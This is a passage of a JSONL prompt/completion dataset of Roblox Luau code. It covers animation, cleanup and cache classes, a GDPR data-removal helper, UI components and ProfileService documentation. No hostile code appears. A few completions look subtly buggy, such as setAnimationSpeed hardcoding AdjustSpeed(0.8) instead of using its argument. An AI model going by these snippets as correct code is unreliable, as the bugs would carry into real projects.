then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(0.8)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "--[[\n\tROBLOX deviation START: skipped unsupported TS functionality\n\toriginal code:\n\texport type MaybeMockedDeep = T extends MockableFunction\n\t ? MockedFunctionDeep\n\t : T extends object\n\t ? MockedObjectDeep\n\t : T;\n\n\texport type MaybeMocked = T extends MockableFunction\n\t ? MockedFunction\n\t : T extends object\n\t ? MockedObject\n\t : T;\n\t]]", "completion": "\nexport type MaybeMockedDeep = T\nexport type MaybeMocked = T"} +{"prompt": "--// Player Added", "completion": "\nlocal PlayerAdded = function(Player)\n\twait(3)\n\t\n\tif SpawnEvents[Player] == nil then\n\t\tSpawnEvents[Player] = Player.CharacterAdded:Connect(function()\n\t\t\tOnSpawn(Player)\n\t\tend)\n\tend\n\t\n\tOnSpawn(Player)\n\tif Player.Team == Teams.Raider or Player.Team == Teams.Security then\n\t\ttoolRemove(Player)\n\tend\nend\ngame:GetService(\"Players\").PlayerAdded:Connect(PlayerAdded)\n\nwait(2)\n"} +{"prompt": "--- Same as indexing, but uses an incremented number as a key.\n-- @param task An item to clean\n-- @treturn number taskId", "completion": "\nfunction Maid:giveTask(task)\n\tif not task then\n\t\terror(\"Task cannot be false or nil\", 2)\n\tend\n\n\tlocal taskId = #self._tasks + 1\n\tself[taskId] = task\n\n\tif type(task) == \"table\" and not (task.Destroy or task.destroy) then\n\t\twarn(\"[Maid.GiveTask] - Gave table task without .Destroy\\n\\n\" .. debug.traceback())\n\tend\n\n\treturn taskId\nend\n"} +{"prompt": "--[[\n\n\n\n]]", "completion": "\n\nlocal Class = {}\nClass.__index = Class\n\n\nfunction Class.new(size)\n\tlocal self = setmetatable({}, Class)\n\t\n\tassert(typeof(size) == \"number\", \"Cache expecting number, got \" .. typeof(size))\n\t\n\tself._cache = table.create(size)\n\tself._size = size\n\t\n\treturn self\nend\n\n\nfunction Class:Get(key)\n\tassert(typeof(key) == \"string\")\n\t\n\tfor i, v in ipairs(self._cache) do\n\t\tif v.key == key then\n\t\t\treturn v.value, i\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\n\nfunction Class:Set(key, value)\n\tassert(typeof(key) == \"string\")\n\tassert(value)\n\t\n\tlocal cachedValue, index = self:Get(key)\n\tif index then\n\t\tlocal data = table.remove(self._cache, index)\n\t\ttable.insert(self._cache, data)\n\telse\n\t\tlocal data = {\n\t\t\tkey = key,\n\t\t\tvalue = value,\n\t\t}\n\t\tif #self._cache > self._size then\n\t\t\ttable.remove(self._cache, 1)\n\t\t\ttable.insert(self._cache, self._size, data)\n\t\telse\n\t\t\ttable.insert(self._cache, data)\n\t\tend\n\tend\nend\n\n\nfunction Class:Destroy()\n\ttable.clear(self._cache)\n\tself._cache = nil\n\tself._size = nil\n\tsetmetatable(self, nil)\nend\n\n\nreturn Class\n"} +{"prompt": "--[[\nThis script ensures that your game complies with GDPR requests. \n\nTo remove player data when requested:\n\t1. Publish the place, then run it in the Roblox client (not within Studio).\n\t2. Once in the game, open the Developer Console by pressing F9 or typing /console into the chat.\n\t3. In the Log section, click the Server tab.\n\t4. In the console\u2019s command line, enter the following command, where XXXXXXXX is the user\u2019s ID provided to you by Roblox.\n\t\t- game.ServerStorage.RemovePlayerData:Fire(\"XXXXXXXX\")\n\t5. Assuming a player data key was located with the Player_XXXXXXXX pattern, you'll see a console message indicating it was successfully removed from the data store:\n--]]", "completion": "\n\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal eventsFolder = ServerStorage:WaitForChild(\"Events\")\nlocal removePlayerDataEvent = eventsFolder:WaitForChild(\"RemovePlayerData\")\n "} +{"prompt": "-- Signal types", "completion": "\ntype Connection = {\n\tDisconnect: (self: Connection) -> (),\n\tDestroy: (self: Connection) -> (),\n}\n\nexport type Signal = {\n\tFire: (self: Signal, T...) -> (),\n\tFireDeferred: (self: Signal, T...) -> (),\n\tConnect: (self: Signal, fn: (T...) -> ()) -> Connection,\n\tOnce: (self: Signal, fn: (T...) -> ()) -> Connection,\n\tDisconnectAll: (self: Signal) -> (),\n\tGetConnections: (self: Signal) -> { Connection },\n\tDestroy: (self: Signal) -> (),\n\tWait: (self: Signal) -> T...,\n}\n"} +{"prompt": "-- LOCAL", "completion": "\nlocal starterGui = game:GetService(\"StarterGui\")\nlocal guiService = game:GetService(\"GuiService\")\nlocal hapticService = game:GetService(\"HapticService\")\nlocal runService = game:GetService(\"RunService\")\nlocal userInputService = game:GetService(\"UserInputService\")\nlocal tweenService = game:GetService(\"TweenService\")\nlocal players = game:GetService(\"Players\")\nlocal IconController = {}\nlocal replicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Signal = require(script.Parent.Signal)\nlocal TopbarPlusGui = require(script.Parent.TopbarPlusGui)\nlocal topbarIcons = {}\nlocal fakeChatName = \"_FakeChat\"\nlocal forceTopbarDisabled = false\nlocal menuOpen\nlocal topbarUpdating = false\nlocal STUPID_CONTROLLER_OFFSET = 32\n\n\n"} +{"prompt": "-- This affects how often the client sends engine power updates (frequency: times/second)", "completion": "\nlocal THROTTLE_UPDATE_RATE = 5\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nCreates beams between parts.\n--]]", "completion": "\n\nlocal PartJoiner = {}\n\nlocal SurfaceData = {\n\t[Enum.NormalId.Top] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,-90),\n\t\t\tPosition = Vector3.new(0,0.5,0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,-90),\n\t\t\tPosition = Vector3.new(0,0.5,-0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(0.5,0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(-0.5,0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t},\n\t[Enum.NormalId.Bottom] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,-90),\n\t\t\tPosition = Vector3.new(0,-0.5,0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,-90),\n\t\t\tPosition = Vector3.new(0,-0.5,-0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(0.5,-0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(-0.5,-0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t},\n\t[Enum.NormalId.Front] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,-90,0),\n\t\t\tPosition = Vector3.new(0.5,0,0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,-90,0),\n\t\t\tPosition = Vector3.new(-0.5,0,0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(90,-90,0),\n\t\t\tPosition = Vector3.new(0,0.5,0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(90,-90,0),\n\t\t\tPosition = Vector3.new(0,-0.5,0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t},\n\t[Enum.NormalId.Back] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,-90,0),\n\t\t\tPosition = Vector3.new(0.5,0,-0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,-90,0),\n\t\t\tPosition = Vector3.new(-0.5,0,-0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(90,-90,0),\n\t\t\tPosition = Vector3.new(0,0.5,-0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(90,-90,0),\n\t\t\tPosition = Vector3.new(0,-0.5,-0.5),\n\t\t\tWidth = \"X\"\n\t\t},\n\t},\n\t[Enum.NormalId.Right] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,0),\n\t\t\tPosition = Vector3.new(-0.5,0,0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,0),\n\t\t\tPosition = Vector3.new(-0.5,0,-0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(-0.5,0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(-0.5,-0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t},\n\t[Enum.NormalId.Left] = {\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,0),\n\t\t\tPosition = Vector3.new(0.5,0,0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,0,0),\n\t\t\tPosition = Vector3.new(0.5,0,-0.5),\n\t\t\tWidth = \"Y\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(0.5,0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t\t{\n\t\t\tRotation = Vector3.new(0,90,-90),\n\t\t\tPosition = Vector3.new(0.5,-0.5,0),\n\t\t\tWidth = \"Z\"\n\t\t},\n\t},\n}\n\n\n"} +{"prompt": "--[[\n\tWrapper component that provides the ConfigurationContext to the child components.\n]]", "completion": "\nlocal ConfigurationProvider = Roact.Component:extend(\"ConfigurationProvider\")\nfunction ConfigurationProvider:init()\n\tassert(\n\t\ttypeof(self.props.config) == \"table\",\n\t\t\"ConfigurationContext requires the `config` prop to be an instance of Configuration\"\n\t)\n\n\tself.state = self.props.config.getValues()\n\tself:_connectUpdateEvent()\nend\n\nfunction ConfigurationProvider:render()\n\treturn Roact.createElement(context.Provider, {\n\t\tvalue = self.state,\n\t}, self.props[Roact.Children])\nend\n\nfunction ConfigurationProvider:didMount()\n\tself:_connectUpdateEvent()\nend\n\nfunction ConfigurationProvider:willUnmount()\n\tif self.changedConn then\n\t\tself.changedConn:Disconnect()\n\t\tself.changedConn = nil\n\tend\nend\n"} +{"prompt": "--Particle part creation", "completion": "\nlocal PE_Part = Instance.new(\"Part\")\nPE_Part.Name = \"ParticlePart\"\nPE_Part.Transparency = 1\nPE_Part.CanCollide = false\nPE_Part.Size = Vector3.new(0.03,0.03,0.03)\nPE_Part.Position = script.Parent.Torso.Position - Vector3.new(0,0,-1)\nlocal weld = Instance.new(\"WeldConstraint\")\nPE_Part.Parent = script.Parent\nweld.Parent = PE_Part\nweld.Part0 = PE_Part\nweld.Part1 = script.Parent.Torso\nPE.Parent = PE_Part"} +{"prompt": "--bullet data", "completion": "\nlocal settingfolder = tool:WaitForChild(\"settings\")\nlocal bchambered = settingfolder:WaitForChild(\"bchambered\")\nlocal binmag = settingfolder:WaitForChild(\"inmag\")\nlocal gunspeed = settingfolder:WaitForChild(\"speed\")\nlocal magleft = settingfolder:WaitForChild(\"magleft\")\n"} +{"prompt": "--[[\n\tCreates a debug visualization of the test results.\n]]", "completion": "\nfunction TestResults:visualize(root, level)\n\troot = root or self\n\tlevel = level or 0\n\n\tlocal buffer = {}\n\n\tfor _, child in ipairs(root.children) do\n\t\tif child.planNode.type == TestEnum.NodeType.It then\n\t\t\tlocal symbol = STATUS_SYMBOLS[child.status] or \"?\"\n\t\t\tlocal str = (\"%s[%s] %s\"):format((\" \"):rep(3 * level), symbol, child.planNode.phrase)\n\n\t\t\tif child.messages and #child.messages > 0 then\n\t\t\t\tstr = str\n\t\t\t\t\t.. \"\\n \"\n\t\t\t\t\t.. (\" \"):rep(3 * level)\n\t\t\t\t\t.. table.concat(child.messages, \"\\n \" .. (\" \"):rep(3 * level))\n\t\t\tend\n\n\t\t\ttable.insert(buffer, str)\n\t\telse\n\t\t\tlocal str = (\"%s%s\"):format((\" \"):rep(3 * level), child.planNode.phrase or \"\")\n\n\t\t\tif child.status then\n\t\t\t\tstr = str .. (\" (%s)\"):format(child.status)\n\t\t\tend\n\n\t\t\ttable.insert(buffer, str)\n\n\t\t\tif #child.children > 0 then\n\t\t\t\tlocal text = self:visualize(child, level + 1)\n\t\t\t\ttable.insert(buffer, text)\n\t\t\tend\n\t\tend\n\tend\n\n\treturn table.concat(buffer, \"\\n\")\nend\n\nreturn TestResults\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nscript.Parent:WaitForChild(\"Speedo\")\nscript.Parent:WaitForChild(\"Tach\")\nscript.Parent:WaitForChild(\"ln\")\nscript.Parent:WaitForChild(\"Gear\")\nscript.Parent:WaitForChild(\"Speed\")\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\n"} +{"prompt": "----", "completion": "\nlocal cooldown = false\nlocal zoomed = false\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(Key, gameProcessed)\n\tif not cooldown and not gameProcessed and Key.KeyCode == KEYBIND then\n\t\tcooldown = true\n\t\tif not zoomed then\n\t\t\tts:Create(game.Workspace.CurrentCamera, TweenInfo.new(.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {FieldOfView = FOV}):Play()\n\t\t\tzoomed = true\n\t\telse\n\t\t\tts:Create(game.Workspace.CurrentCamera, TweenInfo.new(.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {FieldOfView = 70}):Play()\n\t\t\tzoomed = false\n\t\tend\n\t\tscript.scope:Play()\n\t\twait(cooldowntime)\n\t\tcooldown = false\n\tend\nend)\n"} +{"prompt": "-- Edit bellow instead above", "completion": "\ntime = (3.2 * math.max(0.24,(damagedone / 100))) -- time = 1\nradius = 50 -- radius = 100\n"} +{"prompt": "-- Format substring but do not enclose in double quote marks.\n-- The replacement is compatible with pretty-format package.", "completion": "\nlocal function printSubstring(val: string): string\n\tval = val:gsub(\"(\\\\)\", \"\\\\%1\")\n\tval = val:gsub('(\")', \"\\\\%1\")\n\treturn val\nend\n\nlocal function printReceivedStringContainExpectedSubstring(\n\treceived: string,\n\tstart: number,\n\tlength: number -- not end\n): string\n\treturn RECEIVED_COLOR('\"' .. printSubstring(received:sub(0, start - 1)))\n\t\t.. INVERTED_COLOR(printSubstring(received:sub(start, start + length - 1)))\n\t\t.. RECEIVED_COLOR(printSubstring(received:sub(start + length, #received)))\n\t\t.. '\"'\nend\n\nlocal function printReceivedStringContainExpectedResult(received: string, result): string\n\t-- result passed in should be the result of making a call to RegExp:exec\n\tif result == nil then\n\t\treturn printReceived(received)\n\telse\n\t\treturn printReceivedStringContainExpectedSubstring(received, result.index, #result[1])\n\tend\nend\n"} +{"prompt": "-- Create component", "completion": "\nlocal ToolManualWindow = Roact.PureComponent:extend(script.Name)\n\nfunction ToolManualWindow:init()\n self.CanvasSize, self.SetCanvasSize = Roact.createBinding(UDim2.new(1, 0, 0, 0))\nend\n\nfunction ToolManualWindow:render()\n return new('ScreenGui', {\n ZIndexBehavior = Enum.ZIndexBehavior.Sibling;\n }, {\n Window = new('Frame', {\n AnchorPoint = Vector2.new(0.5, 0.5);\n BackgroundColor3 = Color3.fromRGB(61, 61, 61);\n BackgroundTransparency = 0.1;\n BorderSizePixel = 0;\n Position = UDim2.new(0.5, 0, 0.5, 0);\n Size = self.CanvasSize:map(function (CanvasSize)\n return UDim2.fromOffset(420, CanvasSize.Y.Offset + 10)\n end);\n }, {\n SizeConstraint = new('UISizeConstraint', {\n MaxSize = Vector2.new(math.huge, 300);\n });\n Corners = new('UICorner', {\n CornerRadius = UDim.new(0, 3);\n });\n ColorBar = new('Frame', {\n BackgroundColor3 = self.props.ThemeColor;\n BorderSizePixel = 0;\n Size = UDim2.new(0, 3, 1, 0);\n }, {\n Corners = new('UICorner', {\n CornerRadius = UDim.new(0, 3);\n });\n });\n Content = new('ScrollingFrame', {\n BackgroundTransparency = 1;\n BorderSizePixel = 0;\n Size = UDim2.new(1, 0, 1, 0);\n CanvasSize = self.CanvasSize;\n ScrollBarImageColor3 = Color3.fromRGB(255, 255, 255);\n ScrollBarThickness = 2;\n ScrollingDirection = Enum.ScrollingDirection.Y;\n }, {\n Text = new('TextLabel', {\n BackgroundTransparency = 1;\n Size = UDim2.new(1, 0, 1, 0);\n Font = Enum.Font.Gotham;\n LineHeight = 1.2;\n RichText = true;\n Text = self.props.Text;\n TextColor3 = Color3.fromRGB(255, 255, 255);\n TextSize = 11;\n TextWrapped = true;\n TextXAlignment = Enum.TextXAlignment.Left;\n TextYAlignment = Enum.TextYAlignment.Top;\n -- [Roact.Ref] = function (rbx)\n -- if rbx then\n -- self.SetCanvasSize(UDim2.new(1, 0, 0, rbx.TextBounds.Y))\n -- end\n -- end;\n [Roact.Change.TextBounds] = function (rbx)\n self.SetCanvasSize(UDim2.new(1, 0, 0, rbx.TextBounds.Y + 20))\n end;\n }, {\n Padding = new('UIPadding', {\n PaddingBottom = UDim.new(0, 0);\n PaddingLeft = UDim.new(0, 25);\n PaddingRight = UDim.new(0, 25);\n PaddingTop = UDim.new(0, 15);\n });\n });\n });\n });\n })\nend\n\nreturn ToolManualWindow\n"} +{"prompt": "--> VARIABLES", "completion": "\nlocal Module = script.Parent\nlocal OnBtn = Module.OnButton\nlocal OffBtn = Module.OffButton\nlocal Cylinder = Module.MovingCylinder\nlocal Mode = script.On\nlocal OGPosition, Goal\n"} +{"prompt": "--If we can't find it, add it in", "completion": "\nif (Register == nil) then\n\tRegister = script.Parent.GlobalTeleporterRegister:clone()\n\tRegister.Parent = ServerStorage\nend\n\nRegister = require(Register) --Require the module...\nRegister:SetTeleporter(script.Parent.Parent) --...and tell it that we're here (HELLLOOOOOOOO)\n"} +{"prompt": "-- Add your abbreviations/compact notation suffixes here", "completion": "\nlocal abbreviations = FormatNumber.Notation.compactWithSuffixThousands({\n\t\"K\", \"M\", \"B\", \"T\", \"Qa\", \"Qi\", \"Sx\", \"Sp\", \"Oc\", \"No\", \"Dc\", \"Un\", \"Duo\", \"Tre\", \"Qua\", \"Qui\", \"Sed\", \"Sep\", \"Oct\", \"Nov\", \"V\",\n})\nlocal formatter = FormatNumber.NumberFormatter.with()\n:Notation(abbreviations)"} +{"prompt": "--Object contact", "completion": "\nlocal function TouchPlayer(self, player)\n\tif player.v3 then\n\t\treturn\n\tend\n\n\t--Damage player\n\tplayer:Damage(self.root.Position)\nend\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal NONE = Enum.UserInputType.None\nlocal thumbstickDeadzone = 0.2\n"} +{"prompt": "-- local Madwork = _G.Madwork\n--[[\n{Madwork}\n\n-[ProfileService]---------------------------------------\n\t(STANDALONE VERSION)\n\tDataStore profiles - universal session-locked savable table API\n\t\n\tOfficial documentation:\n\t\thttps://madstudioroblox.github.io/ProfileService/\n\n\tDevForum discussion:\n\t\thttps://devforum.roblox.com/t/ProfileService/667805\n\t\n\tWARNINGS FOR \"Profile.Data\" VALUES:\n\t \t! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;\n\t\t! Do not create mixed tables (some values indexed by number and others by string key), as only\n\t\t the data indexed by number will be replicated.\n\t\t! Do not index tables by anything other than numbers and strings.\n\t\t! Do not reference Roblox Instances\n\t\t! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing\n\t\t! Do not reference functions\n\t\t\n\tWARNING: Calling ProfileStore:LoadProfileAsync() with a \"profile_key\" which wasn't released in the SAME SESSION will result\n\t\tin an error! If you want to \"ProfileStore:LoadProfileAsync()\" instead of using the already loaded profile, :Release()\n\t\tthe old Profile object.\n\t\t\n\tMembers:\n\t\n\t\tProfileService.ServiceLocked [bool]\n\t\t\n\t\tProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key)\n\t\tProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key)\n\t\tProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state)\n\t\n\tFunctions:\n\t\n\t\tProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]\n\t\t\tprofile_store_index [string] -- DataStore name\n\t\t\tOR\n\t\t\tprofile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables\n\t\t\t\t{\n\t\t\t\t\tName = \"StoreName\", -- [string] -- DataStore name\n\t\t\t\t\t-- Optional arguments:\n\t\t\t\t\tScope = \"StoreScope\", -- [string] -- DataStore scope\n\t\t\t\t}\n\t\t\tprofile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously\n\n\t\tProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)\n\t\t\t-- Returns true if ProfileService is connected to live Roblox DataStores\n\t\t\t\t\n\tMembers [ProfileStore]:\n\t\n\t\tProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore\n\t\t\n\tMethods [ProfileStore]:\n\t\n\t\tProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile] or nil -- not_released_handler(place_id, game_job_id)\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tnot_released_handler nil or []: -- Defaults to \"ForceLoad\"\n\t\t\t\t[string] \"ForceLoad\" -- Force loads profile on first call\n\t\t\t\tOR\n\t\t\t\t[string] \"Steal\" -- Steals the profile ignoring it's session lock\n\t\t\t\tOR\n\t\t\t\t[function] (place_id, game_job_id) --> [string] \"Repeat\", \"Cancel\", \"ForceLoad\" or \"Steal\"\n\t\t\t\t\tplace_id [number] or nil\n\t\t\t\t\tgame_job_id [string] or nil\n\n\t\t\t\t-- not_released_handler [function] will be triggered in cases where the profile is not released by a session. This\n\t\t\t\t--\tfunction may yield for as long as desirable and must return one of three string values:\n\n\t\t\t\t\t\t[\"Repeat\"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again\n\t\t\t\t\t\t[\"Cancel\"] - ProfileStore:LoadProfileAsync() will immediately return nil\n\t\t\t\t\t\t[\"ForceLoad\"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards\n\t\t\t\t\t\t\tand release the profile for another session that has loaded the profile\n\t\t\t\t\t\t[\"Steal\"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying\n\t\t\t\t\t\t\ta session lock for this session.\n\n\t\tProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates] or nil\n\t\t\t-- Returns GlobalUpdates object if update was successful, otherwise returns nil\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tupdate_handler [function] (global_updates [GlobalUpdates])\n\t\t\t\n\t\tProfileStore:ViewProfileAsync(profile_key, version) --> [Profile] or nil\n\t\t\t-- Reads profile without requesting a session lock; Data will not be saved and profile doesn't need to be released\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tversion nil or [string] -- DataStore key version\n\n\t\tProfileStore:ProfileVersionQuery(profile_key, sort_direction, min_date, max_date) --> [ProfileVersionQuery]\n\t\t\tprofile_key [string]\n\t\t\tsort_direction nil or [Enum.SortDirection]\n\t\t\tmin_date nil or [DateTime]\n\t\t\tmax_date nil or [DateTime]\n\t\t\t\n\t\tProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool]\n\t\t\t-- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it.\n\t\t\t\t\t\t\n\t\t* Parameter description for \"ProfileStore:GlobalUpdateProfileAsync()\":\n\t\t\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tupdate_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods\n\t\t\t\t(update_handler can't yield)\n\n\tMethods [ProfileVersionQuery]:\n\n\t\tProfileVersionQuery:NextAsync() --> [Profile] or nil -- (Yields)\n\t\t\t-- Returned profile has the same rules as profile returned by :ViewProfileAsync()\n\t\t\n\tMembers [Profile]:\n\t\n\t\tProfile.Data [table] -- Writable table that gets saved automatically and once the profile is released\n\t\tProfile.MetaData [table] (Read-only) -- Information about this profile\n\t\t\n\t\t\tProfile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation\n\t\t\tProfile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded\n\t\t\tProfile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a\n\t\t\t\tgame session is currently having this profile loaded; nil if released\n\t\t\tProfile.MetaData.MetaTags [table] {[\"tag_name\"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data\n\t\t\tProfile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore\n\t\t\t\t(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after\n\t\t\t\tthey pile up)\n\n\t\tProfile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after\n\t\t\t--\tProfile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;\n\t\t\t-- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;\n\t\t\t--\t.MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved\n\t\t\t--\tafter release.\n\n\t\tProfile.RobloxMetaData [table] -- Writable table that gets saved automatically and once the profile is released\n\t\tProfile.UserIds [table] -- (Read-only) -- {user_id [number], ...} -- User ids associated with this profile\n\n\t\tProfile.KeyInfo [DataStoreKeyInfo]\n\t\tProfile.KeyInfoUpdated [ScriptSignal] (key_info [DataStoreKeyInfo])\n\t\t\n\t\tProfile.GlobalUpdates [GlobalUpdates]\n\t\t\n\tMethods [Profile]:\n\t\n\t\t-- SAFE METHODS - Will not error after profile expires:\n\t\tProfile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to\n\t\t\t\n\t\tProfile:GetMetaTag(tag_name) --> value [any]\n\t\t\ttag_name [string]\n\t\t\n\t\tProfile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure\n\t\t\n\t\tProfile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil)\n\t\t\t-- WARNING: Profiles can be released externally if another session force-loads\n\t\t\t--\tthis profile - use :ListenToRelease() to handle player leaving cleanup.\n\t\t\t\n\t\tProfile:Release() -- Call after the session has finished working with this profile\n\t\t\te.g., after the player leaves (Profile object will become expired) (Does not yield)\n\n\t\tProfile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;\n\t\t\t--\tWrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;\n\t\t\t-- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens\n\t\t\t--\tnext to an auto-update in regular usage scenarios.\n\n\t\tProfile:AddUserId(user_id) -- Associates user_id with profile (GDPR compliance)\n\t\t\tuser_id [number]\n\n\t\tProfile:RemoveUserId(user_id) -- Unassociates user_id with profile (safe function)\n\t\t\tuser_id [number]\n\n\t\tProfile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;\n\t\t\t-- Example return: \"[Store:\"GameData\";Scope:\"Live\";Key:\"Player_2312310\"]\"\n\t\t\n\t\tProfile:SetMetaTag(tag_name, value) -- Equivalent of Profile.MetaData.MetaTags[tag_name] = value\n\t\t\ttag_name [string]\n\t\t\tvalue [any]\n\t\t\n\t\tProfile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)\n\n\t\t-- VIEW-MODE ONLY:\n\n\t\tProfile:ClearGlobalUpdates() -- Clears all global updates data from a profile payload\n\n\t\tProfile:OverwriteAsync() -- (Yields) Saves the profile payload to the DataStore and removes the session lock\n\t\t\n\tMethods [GlobalUpdates]:\n\t\n\t-- ALWAYS PUBLIC:\n\t\tGlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data [table]}, ...}\n\t\tGlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data [table]}, ...}\n\t\t\n\t-- ONLY WHEN FROM \"Profile.GlobalUpdates\":\n\t\tGlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] (update_id, update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] (update_id, update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:LockActiveUpdate(update_id) -- WARNING: will error after profile expires\n\t\tGlobalUpdates:ClearLockedUpdate(update_id) -- WARNING: will error after profile expires\n\t\t\n\t-- EXPOSED TO \"update_handler\" DURING ProfileStore:GlobalUpdateProfileAsync() CALL\n\t\tGlobalUpdates:AddActiveUpdate(update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ChangeActiveUpdate(update_id, 